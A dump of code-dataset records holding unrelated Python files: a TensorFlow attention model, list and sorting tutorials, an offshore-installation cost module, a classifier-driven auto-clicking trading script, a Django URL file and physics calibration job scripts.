tf.sign(tf.reduce_max(tf.abs(sequences), reduction_indices=2))\n seq_len = tf.reduce_sum(used, reduction_indices=1)\n return tf.cast(seq_len, tf.int32)\n\n with tf.variable_scope(name):\n GRU_cell_fw = tf.contrib.rnn.GRUCell(hidden_size)\n GRU_cell_bw = tf.contrib.rnn.GRUCell(hidden_size)\n if not eval_data:\n GRU_cell_fw = tf.contrib.rnn.DropoutWrapper(cell=GRU_cell_fw,\n input_keep_prob=1.0,\n output_keep_prob=OPTION.DROPOUT_KEEP_PROB)\n GRU_cell_bw = tf.contrib.rnn.DropoutWrapper(cell=GRU_cell_bw,\n input_keep_prob=1.0,\n output_keep_prob=OPTION.DROPOUT_KEEP_PROB)\n inputs_list = tf.unstack(tf.transpose(inputs, [1, 0, 2]))\n outputs, _, _ = tf.nn.static_bidirectional_rnn(cell_fw=GRU_cell_fw,\n cell_bw=GRU_cell_bw,\n inputs=inputs_list,\n sequence_length=length(inputs),\n dtype=tf.float32)\n # outputs: [batch_size, n_step, hidden_size*2]\n outputs = tf.transpose(tf.stack(outputs, 0), [1, 0, 2])\n return outputs\n\n def AttentionLayer(inputs, n_step, hidden_size, name):\n # inputs: [batch_size, n_step, hidden_size * 2]\n with tf.variable_scope(name):\n u_context = tf.Variable(tf.truncated_normal([hidden_size * 2]), name='u_context')\n weights = myTF.variable_with_weight_decay(name + '_weights',\n tf.truncated_normal([hidden_size * 2], stddev=0.1),\n wd=None, dtype=tf.float32)\n biases = myTF.variable_with_weight_decay(name + '_biases',\n tf.constant(0.1, shape=[hidden_size * 2]),\n wd=None, dtype=tf.float32)\n # [batch_size, n_step, hidden_size * 2]\n h = tf.tanh(inputs * weights + biases)\n # [batch_size, n_step, 1]\n alpha = tf.nn.softmax(tf.reduce_sum(tf.multiply(h, u_context), axis=2, keep_dims=True), dim=1)\n # [batch_size, hidden_size * 2]\n outputs = tf.reduce_sum(tf.multiply(inputs, alpha), axis=1)\n return outputs\n\n with tf.name_scope(\"sent2vec\"):\n # [batch_size * sequence_length, sent_length, embedding_size]\n word_embedded = tf.reshape(embedded_chars, [-1, self._sent_length, self._embedding_size])\n # [batch_size * sequence_length, sent_length, hidden_size*2]\n word_encoded = biRNNLayer(word_embedded, hidden_size=OPTION.WORD_HIDDEN_SIZE, name='word_encoder')\n # [batch_size * sequence_length, hidden_size*2]\n sent_vec = AttentionLayer(word_encoded, n_step=self._sent_length, hidden_size=OPTION.WORD_HIDDEN_SIZE,\n name='word_attention')\n sent_vec = tf.reshape(sent_vec, [-1, self._sequence_length, OPTION.WORD_HIDDEN_SIZE * 2])\n\n with tf.name_scope(\"doc2vec\"):\n # [batch_size, sequence_length, hidden_size * 2]\n doc_encoded = biRNNLayer(sent_vec, OPTION.SENT_HIDDEN_SIZE, name='sent_encoder')\n # [batch_size, hidden_size*2]\n doc_vec = AttentionLayer(doc_encoded, n_step=self._sequence_length, hidden_size=OPTION.SENT_HIDDEN_SIZE,\n name='sent_attention')\n\n with tf.name_scope(\"feature\"):\n weights = myTF.variable_with_weight_decay('weights',\n tf.truncated_normal(\n [OPTION.SENT_HIDDEN_SIZE * 2, OPTION.FEATURE_SIZE],\n stddev=0.1),\n wd=None, dtype=tf.float32)\n biases = myTF.variable_with_weight_decay('biases',\n tf.constant(0.1, shape=[OPTION.FEATURE_SIZE]),\n wd=None, dtype=tf.float32)\n # [batch_size, feature_size]\n feature = tf.nn.xw_plus_b(doc_vec, weights, biases, name=\"features\")\n\n ret_feature = feature\n\n if features_before is not None:\n concat_feature = tf.concat([features_before, feature], 1)\n weights = myTF.variable_with_weight_decay('weights',\n tf.truncated_normal(\n [concat_feature.get_shape()[1].value, OPTION.FEATURE_SIZE],\n stddev=0.1),\n wd=None, dtype=tf.float32)\n biases = myTF.variable_with_weight_decay('biases',\n tf.constant(0.1, shape=[OPTION.FEATURE_SIZE]),\n wd=None, dtype=tf.float32)\n feature = tf.matmul(concat_feature, weights)\n feature = tf.nn.relu(tf.nn.bias_add(feature, biases))\n\n # Add dropout\n if not eval_data:\n with tf.name_scope(\"dropout\"):\n feature = tf.nn.dropout(feature, OPTION.DROPOUT_KEEP_PROB)\n\n # Final (unnormalized) scores and predictions\n with tf.name_scope(\"output\"):\n weights = myTF.variable_with_weight_decay('weights',\n tf.truncated_normal(\n [feature.get_shape()[1].value, self._num_classes],\n stddev=0.1),\n wd=None, dtype=tf.float32)\n biases = myTF.variable_with_weight_decay('biases',\n tf.constant(0.1, shape=[self._num_classes]),\n wd=None, dtype=tf.float32)\n scores = tf.nn.xw_plus_b(feature, weights, biases, name=\"scores\")\n return scores, ret_feature\n\n\ndef calculate_loss(logits, labels):\n \"\"\" The total loss is defined as the cross entropy loss plus all of the weight decay terms (L2 loss).\n Args:\n logits: Logits from inference(), 2D tensor of [None, NUM_CLASSES].\n labels: 2D tensor of [None, NUM_CLASSES].\n Returns:\n Loss: 0D tensor of type float.\n \"\"\"\n myTF.calculate_cross_entropy_loss(logits, labels)\n\n return tf.add_n(tf.get_collection('losses'), name='loss_total')\n","sub_path":"HAN/HANpn_his/HAN_model.py","file_name":"HAN_model.py","file_ext":"py","file_size_in_byte":11159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"139647937","text":"def main():\n \"\"\"\n 操作元素 数组\n 数组有双索引 无穷小 oc -1 , 0 oc 无穷大\n :return:\n \"\"\"\n list1 = [1, 2, 3, 4, 5]\n list2 = ['hello', 'world'] * 3\n\n print(len(list1))\n print(list2) # ['hello', 'world', 'hello', 'world', 'hello', 'world']\n\n print(list1[-1]) # 5\n list1[2] = 33 # 33\n\n # 添加元素\n list2.append('!')\n list1.insert(-2, 4.5) # 指定位置之前加\n list1 += [6] # 数组之间的拼接,直接相加即可\n print(list2, list1)\n\n # 删除元素\n list1.remove(2) # 移除指定索引的前一个\n del list2[0] # 删除指定索引的元素\n if 'hello' in list2:\n list2.remove('hello')\n print(list1, list2)\n\n\ndef main_01():\n \"\"\"\n 对列表的切片操作\n :return:\n \"\"\"\n fruits = ['grape', 'apple', 'strawberry', 'waxberry']\n fruits += ['pitaya', 'pear', 'mango']\n\n for fruit in fruits:\n print(fruit.title(), end=' ') # 把list转成字符串,每个单词都以大写开头\n print()\n\n print(fruits[1:4]) # ['apple', 'strawberry', 'waxberry']\n fruits_copy_01 = fruits[:] # 复制列表\n\n fruits_copy_02 = fruits[::-1] # 反向复制\n print(fruits_copy_02)\n\n # 排序\n list_01 = ['orange', 'apple', 'zoo', 'internationalization', 'blueberry']\n list_02 = sorted(list_01) # 按照英文顺序排\n # list_03 = sorted(list_01, reversed=True)\n list_len = sorted(list_01, key=len) # 按照字符串的长度排\n print(list_02)\n # print(list_03)\n print(list_len)\n\n # 创建列表\n import sys\n\n f = [x for x in range(1, 10)]\n print(f)\n f = [x + y for x in 'ABCDE' for y in '1234567'] # 积 x*y\n print(f)\n\n # 用列表的生成表达式语法创建列表容器\n # 用这种语法创造列表之后元素已经准备就绪所以需要耗比较多的内存空间\n f = [x ** 2 for x in range(1, 1000)]\n print(sys.getsizeof(f)) # 查看对象占用的字节数\n print(f)\n\n # 通过生成器可以获取到数据,不占较大内存,但获取需要额外的时间\n f = (x ** 2 for x in range(1, 1000))\n print(sys.getsizeof(f))\n print(f)\n for val in f:\n print(val)\n\n\ndef fib(n):\n \"\"\"\n 斐波拉切数列\n F1 = 0\n F2 = 1\n Fn = Fn-1 + Fn-2(n >= 2)\n 通过关键字 yield 将普通函数改造成生成器函数\n :return:\n \"\"\"\n\n a, b = 0, 1\n for _ in range(n):\n a, b = b, a + b\n yield a\n\n\ndef main_02():\n for val in fib(20):\n print(val)\n\n\nif __name__ == '__main__':\n main_02()","sub_path":"base-grammar/listFn.py","file_name":"listFn.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"128805766","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: WavEC Offshore Renewables\nemail: boris.teillant@wavec.org; paulo@wavec.org, pedro.vicente@wavec.org\n\nThis module is responsible for the cost step in the WP5 methodology. It contains\nfunctions to calculate the cost of each solution based on the schedule, day rates\nof vessels and equipments and port economic assessment.\n\nBETA VERSION NOTES: The current version of this module only takes into account\nthe day rates of vessels to calculate the cost. This will be expanded to equipment\nand port in the next version of the code.\n\"\"\"\nimport numpy\nimport random\n\ndef cost(install, log_phase):\n\n sol = {}\n sched = {}\n sched ['sea time'] = random.choice([10, 25, 32, 48, 56])\n sched ['waiting time'] = random.choice([2, 6, 9, 15, 22])\n\n # loop over the number of operation sequencing options\n for seq in range(len(log_phase.op_ve)):\n\n # loop over the number of solutions, i.e feasible combinations of port/vessel(s)/equipment(s)\n for ind_sol in range(len(log_phase.op_ve[seq].sol)):\n\n # sched = log_phase.op_ve[seq].sol[sol].schedule # CHANGE !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n dur_sea_wait = sched['sea time'] + sched['waiting time']\n nb_ves_type = len(log_phase.op_ve[seq].sol[ind_sol]['VEs'])\n\n # loop over the nb of vessel types\n vessel_cost = []\n equip_cost_ves = []\n for vt in range(nb_ves_type):\n\n qty_vt = log_phase.op_ve[0].sol[ind_sol]['VEs'][vt][1]\n ves_data = log_phase.op_ve[seq].sol[ind_sol]['VEs'][vt][2]\n\n op_cost_max = ves_data['Op max Day Rate']\n op_cost_min = ves_data['Op min Day Rate']\n vessel_cost_h = numpy.mean([op_cost_max, op_cost_min]) / 24 # [€/hour]\n vessel_cost.append ( qty_vt * (vessel_cost_h * dur_sea_wait) )\n\n # check if vessel carries any equipment\n nr_equip = len(log_phase.op_ve[0].sol[ind_sol]['VEs'][vt]) - 3 # first 3 elements are type, quant and series\n\n equip_cost_eq_i = []\n for eqp in range(nr_equip):\n eq_type = log_phase.op_ve[0].sol[ind_sol]['VEs'][vt][3+eqp][0]\n qty_eqp = log_phase.op_ve[0].sol[ind_sol]['VEs'][vt][3+eqp][1]\n eq_data = log_phase.op_ve[0].sol[ind_sol]['VEs'][vt][3+eqp][2]\n\n if eq_type == 'rov':\n eq_cost = eq_data['ROV day rate [EURO/day]'] + \\\n eq_data['AE supervisor [-]']*eq_data['Supervisor rate [EURO/12h]']*2 + \\\n eq_data['AE technician [-]']*eq_data['Technician rate [EURO/12h]']*2 # [€/day]\n elif eq_type == 'divers':\n eq_cost = eq_data['Total day rate [EURO/day]'] # [€/day]\n elif eq_type == 'cable_burial':\n eq_cost = eq_data['Burial tool day rate [EURO/day]'] + eq_data['Personnel day rate [EURO/12h]']*2 # [€/day]\n elif eq_type == 'excavating':\n eq_cost = eq_data['Excavator day rate [EURO/day]'] + eq_data['Personnel day rate [EURO/12h]']*2 # [€/day]\n elif eq_type == 'mattress':\n eq_cost = eq_data['Cost per unit [EURO]']\n elif eq_type == 'rock_filter_bags':\n eq_cost = eq_data['Cost per unit [EURO]']\n elif eq_type == 'split_pipe':\n eq_cost = eq_data['Cost per unit [EURO]']\n elif eq_type == 'hammer':\n eq_cost = eq_data['Hammer day rate [EURO/day]'] + eq_data['Personnel day rate [EURO/12h]']*2 # [€/day]\n elif eq_type == 'drilling_rigs':\n eq_cost = eq_data['Drill rig day rate [EURO/day]'] + eq_data['Personnel day rate [EURO/day]'] # [€/day]\n elif eq_type == 'vibro_driver': # ?!?!\n eq_cost = eq_data['Vibro diver day rate [EURO/day]'] + eq_data['Personnel day rate [EURO/day]'] # [€/day]\n\n if eq_type == 'mattress' or eq_type == 'rock_filter_bags' or eq_type == 'split_pipe':\n eq_cost_h = eq_cost / 24 # [€/hour]\n else:\n eq_cost_h = eq_cost # [€] ?????????\n equip_cost_eq_i.append ( qty_eqp * (eq_cost_h * dur_sea_wait) )\n equip_cost_ves.append ( sum(equip_cost_eq_i) )\n\n equip_total_cost = sum(equip_cost_ves)\n vessel_total_cost = sum(vessel_cost)\n port_total_cost = 0 # to be improved !!!!!!!! port_total_cost = install_port['Selected base port for installation']['Tonnage charges [euro/GT]']\n\n log_phase.op_ve[seq].sol_cost[ind_sol] = {'vessel cost': vessel_total_cost, 'equipment cost': equip_total_cost, 'port cost': port_total_cost,\n 'total cost': vessel_total_cost + equip_total_cost + port_total_cost}\n\n sol[seq] = log_phase.op_ve[seq].sol_cost\n\n\n\n return sol, log_phase\n","sub_path":"Logistics/performance/economic/eco.py","file_name":"eco.py","file_ext":"py","file_size_in_byte":5199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"143004412","text":"import time\nimport pyautogui\n\ndef takeaction(y):\n\n\n\t#down button cordinates\n\tdx=848\n\tdy=560\n\n\n\t#up button cordinates\n\tux=1130\n\tuy=566\n\n\n\tif y==0:\n\t\tprint(\"down\")\n\t\tpyautogui.click(x=dx, y=dy)\n\n\telse:\n\t\tprint(\"up\")\n\t\tpyautogui.click(x=ux, y=uy) \n\n\n\n\nwhile True:\n\n\tf1=open(\"sync.txt\",\"r\")\n\tsyncdata=f1.read()\n\tf1.close()\n\t\n\tif syncdata==\"1\":\n\n\t\tprint(syncdata)\n\n\n\n\t\tf=open('tradedata.txt','r')\n\t\tdata=f.read()\n\t\tf.close()\n\t\tlines=data.split('\\n')\n\n\n\t\tprint(lines)\n\n\n\t\tlinelengtharr=[]\n\n\t\tfor i in range(0,len(lines)-1):\n\t\t\tarr=lines[i].split(\"/\")\n\t\t\tl=len(arr)-1\n\t\t\tlinelengtharr.append(l)\n\n\t\tprint(\"linelength\",linelengtharr)\n\n\n\t\tsmallestlength=min(linelengtharr)\n\n\t\tprint(\"smallestlength\",smallestlength)\n\n\t\ttemparr=[]\n\t\tfinalarrx=[]\n\t\tfor j in range(0,len(lines)-2):\n\t\t\tlinearr=lines[j].split(\"/\")\n\t\t\tif len(linearr)>=smallestlength:\n\t\t\t\tprint(\"linestaken\",j+1)\n\t\t\t\tfor k in range(len(linearr)-smallestlength-1,len(linearr)-1):\n\t\t\t\t\ttemparr.append(linearr[k])\n\n\t\t\t\tfinalarrx.append(temparr)\n\t\t\t\ttemparr=[]\n\n\n\t\tprint(\"x values\")\n\t\tprint(finalarrx)\n\n\n\n\t\tfinalarry=[]\n\t\tfor j in range(0,len(lines)-2):\n\t\t\tlinearr1=lines[j].split(\"/\")\n\t\t\tif len(linearr1)>smallestlength:\n\t\t\t\tlinearr2=lines[j+1].split(\"/\")\n\t\t\t\tif len(linearr2)<2:\n\t\t\t\t\tprint(\"blankline so cheaking next line\")\n\t\t\t\t\tlinearr2=lines[j+2].split(\"/\")\n\t\t\t\tprint(\"comparing\")\n\t\t\t\tif float(linearr1[-2])smallestlength:\n\t\t\tfor k in range(len(x_predarr)-smallestlength-1,len(x_predarr)-1):\n\t\t\t\tx_pred.append(x_predarr[k])\n\n\t\t\tx_pred=np.array([x_pred],dtype=float)\n\t\t\tprint(\"test_data\")\n\t\t\tprint(x_pred)\n\n\n\n\t\t\t#testing\n\n\t\t\tNUM_OF_1=0\n\t\t\tNUM_OF_0=0\n\n\t\t\ty_pred = classifier1.predict(x_pred)\n\t\t\tprint(\"pridectes value of K_NEAREST_NEIGHBOURS\")\n\t\t\tprint(y_pred)\n\t\t\tif y_pred[0]==1:\n\t\t\t\tNUM_OF_1=NUM_OF_1+1\n\t\t\telse:\n\t\t\t\tNUM_OF_0=NUM_OF_0+1\n\n\n\n\n\t\t\ty_pred = classifier2.predict(x_pred)\n\t\t\tprint(\"pridectes value of SVM\")\n\t\t\tprint(y_pred)\n\t\t\tif y_pred[0]==1:\n\t\t\t\tNUM_OF_1=NUM_OF_1+1\n\t\t\telse:\n\t\t\t\tNUM_OF_0=NUM_OF_0+1\n\n\n\n\t\t\ty_pred = classifier3.predict(x_pred)\n\t\t\tprint(\"pridectes value of naive_bayes\")\n\t\t\tprint(y_pred)\n\t\t\tif y_pred[0]==1:\n\t\t\t\tNUM_OF_1=NUM_OF_1+1\n\t\t\telse:\n\t\t\t\tNUM_OF_0=NUM_OF_0+1\n\n\n\t\t\ty_pred = classifier4.predict(x_pred)\n\t\t\tprint(\"pridectes value of LogisticRegression\")\n\t\t\tprint(y_pred)\n\t\t\tif y_pred[0]==1:\n\t\t\t\tNUM_OF_1=NUM_OF_1+1\n\t\t\telse:\n\t\t\t\tNUM_OF_0=NUM_OF_0+1\n\n\n\t\t\ty_pred = classifier5.predict(x_pred)\n\t\t\tprint(\"pridectes value of QuadraticDiscriminantAnalysis\")\n\t\t\tprint(y_pred)\n\t\t\tif y_pred[0]==1:\n\t\t\t\tNUM_OF_1=NUM_OF_1+1\n\t\t\telse:\n\t\t\t\tNUM_OF_0=NUM_OF_0+1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\tprefered_correct_prediction=3\n\n\t\t\tif NUM_OF_1>=prefered_correct_prediction:\n\t\t\t\ttakeaction(1)\n\t\t\tif NUM_OF_0>=prefered_correct_prediction:\n\t\t\t\ttakeaction(0)\n\n\n\t\t\ttime.sleep(7)\n\n\n\n\n\n\t\t\t\t\n\n\t\t\t#takeaction(y_pred)","sub_path":"classifer.py","file_name":"classifer.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"255239088","text":"# 6485 / calculate how many buses arrived in some bus stops\nfor T in range(int(input())):\n N = int(input())\n Nlst = [list(map(int, input().split())) for _ in range(N)]\n P = int(input())\n Plst = [int(input()) for _ in range(P)]\n\n S = [0] + [0] * 5000\n for n in range(N):\n ns, nd = Nlst.pop(0)\n for t in range(ns, nd + 1):\n S[t] += 1\n\n res = ''\n for p in Plst:\n res += str(S[p]) + ' '\n print(f'#{T + 1} {res}')\n ","sub_path":"D3/6485.py","file_name":"6485.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"264497627","text":"from django.urls import path\nfrom . import views\n\napp_name='todolist'\nurlpatterns = [\n\n path('home/',views.home,name='主页'),\n path('edit/',views.edit,name='编辑'),\n path('about/',views.about,name='关于'),\n path('delete/',views.delete,name='删除'),\n]\n","sub_path":"todolist/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"430058424","text":"#Введите длину листа: 50000\n#Brutal force занял: 73.99254822731018 секунд\n#Quick Sort занял: 1.1289777755737305 секунд\n#Bubble sort занял: 195.83499789237976 секунд\n#Selection sort занял: 72.90925288200378 секунд\n#Insertion sort занял: 119.69536781311035 секунд\n#Built-in C implemented sorter занял: 0.009974002838134766 секунд\n\nimport random\nimport time\n\ndef shell_sort(list_to_sort):\n pass\n\ndef merge_sort(list_to_sort):\n pass\n\ndef insertion_sort(list_to_sort):\n '''\n\n :param list_to_sort:\n :return:\n '''\n # Лупаем с 1 элемента и до конца\n for i in range(1, len(list_to_sort)):\n # Запоминаем число, которое рассматриваем\n value = list_to_sort[i]\n value_index = i\n # Шагаем по отсортированному подлисту, который в начале состоит только из 1 эелмента\n # под индексом 0\n while value_index > 0 and list_to_sort[value_index - 1] > value:\n # Двигаем вправо элементы саблиста если они больше рассматриваемого значения не\n # из саблиста\n list_to_sort[value_index] = list_to_sort[value_index - 1]\n value_index -= 1\n # Когда дошли до места куда дропнуть рассматриваемый элемент (больше чем другие участники\n # отсортированного саблиста или просто он оказался самым маленьким => индекс 0).\n list_to_sort[value_index] = value\n\n return list_to_sort\n\ndef selection_sort(list_to_sort):\n '''\n Selection sort. O(n^2)\n :param list_to_sort:\n :return:\n '''\n for slot_to_fill in range(len(list_to_sort) - 1, 0, -1):\n index_max = 0\n # Find largest element\n for i in range(1, slot_to_fill + 1):\n if list_to_sort[i] > list_to_sort[index_max]:\n index_max = i\n\n list_to_sort[slot_to_fill], list_to_sort[index_max] = \\\n list_to_sort[index_max], list_to_sort[slot_to_fill]\n\n return list_to_sort\n\ndef bubble_sort(list_to_sort):\n '''\n\n :param list_to_sort:\n :return:\n '''\n for position in range(len(list_to_sort) - 1, 0, -1):\n # Up to but not included, so that we do not need to -1 here Maxim\n for j in range(position):\n if list_to_sort[j] > list_to_sort[j+1]:\n list_to_sort[j], list_to_sort[j+1] = list_to_sort[j+1], list_to_sort[j]\n\n return list_to_sort\n\ndef brutal_force_sorting(list_to_sort):\n '''\n Функция для сортировки листа (selection sort). Time complexity O(n^2)\n '''\n for i in range(1, len(list_to_sort)):\n for j in range(0, i):\n if list_to_sort[j] > list_to_sort[i]:\n\n # num = list_to_sort[i]\n # list_to_sort[i] = list_to_sort[j]\n # list_to_sort[j] = num\n #print(list_to_sort) # Раскоменти и посмотри как лист сортеруется. Короткий лист сделай\n\n # or\n list_to_sort[i], list_to_sort[j] = list_to_sort[j], list_to_sort[i]\n\n return list_to_sort\n\ndef quick_sort(list_to_sort):\n '''\n Рекурсивный способ сортировки. Time complexity O(n*logn). Это важно. Означает, что\n по мере роста размера входных данных, время работы алгоритма растет не так резко как O(n^2)\n '''\n if len(list_to_sort) < 2:\n return list_to_sort\n pivot = list_to_sort[0]\n sublist_smaller = [number for number in list_to_sort[1:] if number <= pivot]\n sublist_greater = [number for number in list_to_sort[1:] if number > pivot]\n # You can sum lists\n return quick_sort(sublist_smaller) + [pivot] + quick_sort(sublist_greater)\n\ndef generate_list(lenght):\n '''\n Генерирует и возвращает лист произвольной длины из рандомных чисел от 0 до 100.\n '''\n return [random.randint(0,100) for e in range(lenght)]\n\ndef main():\n # Просим пользователя ввести длину листа.\n lenght = int(input(\"\\nВведите длину листа: \"))\n # Вызываем функцию генерации листа состоящего из рандомных элементов\n random_list = generate_list(lenght)\n\n # Теперь проверим различные способы отсортировать этот лист и засечем время:\n # Сначала проверим тупой метод перебором\n start = time.time()\n sorted_list = brutal_force_sorting(random_list[:])\n end = time.time()\n print(\"Brutal force занял:\", end-start, \"секунд\")\n\n # Теперь проверим алгоритм quick sort\n start = time.time()\n quick_sorted_list = quick_sort([e for e in random_list])\n end = time.time()\n print(\"Quick Sort занял:\", end-start, \"секунд\")\n\n # Проверим bubble sort\n start = time.time()\n bubble_sorted = bubble_sort(random_list[:])\n print(\"Bubble sort занял:\", time.time() - start, \"секунд\")\n\n # Проверим selection sort\n start = time.time()\n selection_sorted = selection_sort(random_list[:])\n print(\"Selection sort занял:\", time.time() - start, \"секунд\")\n\n # Проверим insertion sort\n start = time.time()\n insertion_sorted = insertion_sort(random_list[:])\n print(\"Insertion sort занял:\", time.time() - start, \"секунд\")\n\n # Ну и давай проверим built-in функции написаные на C и которые славятся своей скоростью\n # Встроенные функции питона написаны на С!\n start = time.time()\n random_list.sort()\n end = time.time()\n print(\"Built-in C implemented sorter занял:\", end-start, \"секунд\")\n\nif __name__==\"__main__\":\n main()","sub_path":"sorting_algorithms.py","file_name":"sorting_algorithms.py","file_ext":"py","file_size_in_byte":6367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"606952514","text":"# set the stripping version\nstripVersion = \"21\"\n\n# magnet 'Up' or 'Down'?\nmagPol='Down'\n\n# file suffix:\n#\n# dst_k_and_pi: Kaons and pions from D*\n# lam0_p: Protons from Lambda0\n# jpsi_mu: Muons from J/psi\n# dst_k_and_pi_muonUnBiased: 'MuonUnBiased' kaons + pions from D*\n# lam0_p_muonUnBiased: 'MuonUnBiased' protons from Lambda0\nfileSuffix='LcfB_P'\n\n# set the pbs options (e.g. CPU/walltime)\npbsopts = \"-l cput=8:00:00,walltime=12:00:00\"\n\n# particle type (e.g. DSt, Lam0, Jpsi)\npartType=\"LcfB\"\ntrackName=\"p\"\n# the platform to run on\n# if this is not set, it will default to the value of CMTCONFIG\nplatform=''\n\n# the job name (which will be appended with the stripping version, magnet polarity etc)\njobname=\"LcfBFit_P\"\n\n# is this a test job?\nisTest=False\n\n##########################################################################################################\n# The following lines should not need to be changed in most cases, as they are autoconfigured from the\n# above options\n##########################################################################################################\n\nimport os\nimport re\nimport sys\n\n# set the platform (if not already specified)\nif len(platform)==0:\n platform=os.getenv('CMTCONFIG')\n\n# get the Urania version from the script path\nabspath = os.path.abspath(os.path.dirname(sys.argv[0]))\nrematch = re.search('.Urania_(?Pv\\d+r\\d+p?\\d?).', abspath)\nUraniaVersion=rematch.group('ver')\n\n# uncomment to set the Urania version manually\n#UraniaVersion=\"v1r1\"\n\n# get the User_release_area (i.e. top-level CMT directory,\n# which defaults to $HOME/cmtuser)\nUser_release_area = os.getenv('User_release_area')\nif len(User_release_area)==0: \n User_release_area=\"%s/cmtuser\" %os.getenv('HOME')\n\n# uncomment to set the User_release_area manually\n#User_release_area=\"/home/huntp/cmtuser\"\n\n# base directory of $CALIBDATASCRIPTSROOT \nbasedir = '%s/Urania_%s/PIDCalib/CalibDataScripts' %(User_release_area,\n UraniaVersion)\n\n# location of the executable\nexeFile = '%s/scripts/sh/%sJob_runRange.sh' %(basedir, partType)\n\n# read the configuration script\nimport imp\ngangaJobFuncs=imp.load_source('gangaJobFuncs',\n '%s/scripts/python/gangaJobFuncs.py' %basedir)\ngangaJobFuncs.updateEnvFromShellScript( ('{bdir}/jobs/Stripping{strp}'\n '/configureGangaJobs.sh').format(\n bdir=basedir,strp=stripVersion))\njidVar = ''\nif magPol=='Down':\n jidVar='CALIBDATA_JIDS_DOWN'\nelif magPol=='Up':\n jidVar='CALIBDATA_JIDS_UP'\nelse:\n raise NameError('Unknown magnet polarity %s' %magPol)\njids_str=os.getenv(jidVar)\nif len(jids_str)==0:\n raise NameError('Environmental variable %s is not set' %jidVar)\njobIDs=[int(jid) for jid in jids_str.split()]\n\n# uncomment to set the input job IDs manually\n#jobIDs=[7,9]\n\n# assume the user's ganga directory is the input directory\ngangadir='%s/workspace/%s/%s' %(config['Configuration']['gangadir'],\n config['Configuration']['user'],\n config['Configuration']['repositorytype'])\n\n# uncomment to use a different input directory\n#gangadir='$DATADISK/gangadir_calib/workspace/powell/LocalXML'\n\n# use the PBS backend and set the CPU/walltime etc.\nbck = PBS()\nbck.extraopts = pbsopts\nif isTest:\n bck.queue = 'testing'\n\n# Uncomment to use the local backend\n#bck = Local()\n\nsubIDString=\"*\"\n\n## configure the jobs\nif isTest:\n jobname='Test'+jobname\n\nfor jid in jobIDs:\n # configure the job comment\n jobcomment='Input from Job ID %d' %jid\n if isTest:\n jobcomment='TEST - '+jobcomment\n\n # get the number of chopped tree\n nChoppedTrees = gangaJobFuncs.getNumChoppedTrees(gangadir, jid,\n fileSuffix)\n if isTest:\n # run over ~10% of all events,\n # and only process one \"chopped tree\" (index 0)\n nChoppedTrees = 1\n nSubJobs = len(jobs(jid).subjobs)\n subIDString = \"{\"+\",\".join([str(s) for s in range(nSubJobs/10)])+\"}\"\n\n # Make the lists of arguments used by the ArgSplitter\n #\n # Arguments are:\n #\n # 1) top-level input directory (usually the ganga repository)\n # 2) Urania version\n # 3) platform (e.g. 'x86_64-slc6-gcc46-opt')\n # 4) trackName\n # 5) magnet polarity\n # 6) stripping version\n # 7) index\n # 8) file suffix (e.g. 'dst_k_and_pi')\n # 9) verbose flag (0 = no verbose info, 1 = verbose info)\n # 10) exit on bad fit flag ( 0 = don't exit, 1 = do exit (\n # 11) subjobID string ('*' for all subjobs, '{0,1,2}' for first 3\n # subjobs etc.)\n\n argLists = [ [ gangadir,\n UraniaVersion,\n platform,\n trackName,\n magPol,\n stripVersion,\n str(idx),\n fileSuffix,\n str(int(isTest)),\n '1',\n subIDString ] for idx in range(nChoppedTrees) ]\n\n splitter = ArgSplitter(args=argLists)\n \n # configure the application\n app= Executable(\n exe = File(exeFile),\n )\n\n j = Job(\n name = '{jname}_S{strp}_Mag{pol}_{suf}'.format(jname=jobname,\n strp=stripVersion, pol=magPol, suf=fileSuffix),\n comment = jobcomment,\n outputfiles = ['*.root', '*.eps', '*.pdf'] ,\n application=app,\n backend=bck,\n splitter=splitter\n )\n j.submit()\n","sub_path":"PIDCalib/CalibDataScripts/jobs/Stripping21/LcfB/ganga_LcfBFit_MagDown.py","file_name":"ganga_LcfBFit_MagDown.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"578339186","text":"#!/usr/bin/env python\n\nfrom stabilityfuncs import stabilityparms, dict_from_tsvfile\nimport os\nfrom os.path import join as pjoin\nfrom glob import glob\nimport logging\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n\n\ndef collectresults(files, output):\n keys = dict_from_tsvfile(files[0]).keys()\n\n tsvfile = open(output, 'w')\n # write the header line\n tsvfile.write('\\t'.join(keys))\n tsvfile.write('\\n')\n for fn in files:\n d = dict_from_tsvfile(fn)\n if d.keys() != keys:\n logging.critical('{} contained different keys from the first file. Aborting write, removing.'.format(file))\n tsvfile.close()\n os.remove(output)\n exit(1)\n for k in keys:\n tsvfile.write(d[k])\n tsvfile.write('\\t')\n tsvfile.write('\\n')\n\nif __name__ == '__main__':\n processedscandir = stabilityparms('processedscandir')\n analysissums = glob(pjoin(processedscandir, 'stability*', 'epi_pace', 'procresults', 'analysissummary.txt'))\n\n collectresults(analysissums, pjoin(processedscandir, 'stabilitytable.txt'))\n","sub_path":"unused/collectresults.py","file_name":"collectresults.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"647940348","text":"import json\nimport math\nimport os\n\nimport matplotlib.patches as mpatches\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport shapely\n\nfrom 